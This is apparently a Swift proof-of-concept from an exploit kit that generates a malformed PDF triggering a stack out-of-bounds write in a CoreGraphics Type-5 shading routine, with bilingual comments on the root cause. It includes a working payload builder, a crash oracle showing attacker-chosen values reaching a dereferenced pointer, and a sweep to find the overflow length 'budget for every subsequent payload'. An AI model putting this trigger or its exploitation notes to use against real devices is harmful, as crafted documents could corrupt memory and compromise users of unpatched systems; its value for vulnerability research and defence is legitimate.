// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] Type-5 阴影栈溢出（值可控 OOB 写）
// /ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条
// 72 字节网格记录，颜色区位于记录 +0x20、容量为 nc×8 字节，随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段（即 /Range
// 维度）为上界，向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca，故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。
//
// [en] Type-5 shading stack overflow (value-controlled OOB write)
// A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the
// component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh
// record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then
// calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension)
// and writes that many doubles into the colour area. No comparison exists between the write length
// and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate,
// so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and
// the saved registers in order.
// ── 判别 / oracle ──
// 取 R=136、nc=1、/C0=/C1=1.0 时，每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽；
// 循环退出比较读到被覆盖后的计数后继续执行，随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c，
// 其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典，draw 代码两侧字节完全一致，属纯闸门修复。
//  变体 cg.shading.sweep: 溢出长度扫描（找吸收阈值）

import Foundation

// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

/*
// cg.shading.sweep · CoreGraphics · Type-5 shading · CVE-2026-112611
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] 溢出长度扫描（找吸收阈值）
// 短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256，逐一记录是否仍能完成渲染，从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。
//
// [en] Overflow length sweep (finding the absorption threshold)
// A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough
// to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering
// still completes, and thereby maps the real boundary of the stack layout on this build. That threshold
// sets the length budget for every subsequent payload.
*/

// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ──
enum PDFPayload {
struct BitWriter {
    private(set) var out: [UInt8] = []
    private var acc: UInt8 = 0
    private var nbits = 0

    mutating func put(_ value: UInt32, _ width: Int) {
        guard width > 0 else { return }
        for i in stride(from: width - 1, through: 0, by: -1) {
            acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
            nbits += 1
            if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
        }
    }

    mutating func putExpGolomb(_ value: UInt32) {
        let v = value + 1
        var bits = 0
        while (v >> UInt32(bits)) > 1 { bits += 1 }
        for _ in 0..<bits { put(0, 1) }
        put(v, bits + 1)
    }

    mutating func flush() -> [UInt8] {
        if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
        return out
    }
}

struct PDFBuilder {
    private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]

    mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) {
        objects[n] = (dict, stream)
    }

    func data() -> Data {
        var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8)
        var offsets: [Int: Int] = [:]
        for n in objects.keys.sorted() {
            guard let obj = objects[n] else { continue }
            offsets[n] = out.count
            out.append(Data("\(n) 0 obj\n".utf8))
            out.append(Data(obj.dict.utf8))
            if let stream = obj.stream {
                out.append(Data("\nstream\n".utf8))
                out.append(Data(stream))
                out.append(Data("\nendstream".utf8))
            }
            out.append(Data("\nendobj\n".utf8))
        }
        let xrefPos = out.count
        let maxObj = objects.keys.max() ?? 0
        out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8))
        for n in 1...max(maxObj, 1) {
            let off = offsets[n] ?? 0
            out.append(Data(String(format: "%010d 00000 n \n", off).utf8))
        }
        out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8))
        return out
    }
}

static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data {
        let bpCoord = 32
        let bpComp = 8

        var bw = BitWriter()
        var verts: [(UInt32, UInt32)] = []
        for r in 0..<rows {
            for c in 0..<verticesPerRow {
                verts.append((UInt32(0x1000_0000 + c * 0x0800_0000), UInt32(0x1000_0000 + r * 0x0800_0000)))
            }
        }
        for (x, y) in verts {
            bw.put(x, bpCoord)
            bw.put(y, bpCoord)
            bw.put(0, bpComp)
        }
        let stream = bw.flush()

        let c = String(format: "%.17g", value)
        let list = Array(repeating: c, count: max(1, rangeDim)).joined(separator: " ")
        let rangeList = Array(repeating: "0 1", count: max(1, rangeDim)).joined(separator: " ")

        var pdf = PDFBuilder()
        pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
        pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
        pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>")
        pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh"))
        pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream)
        pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>")
        return pdf.data()
    }

}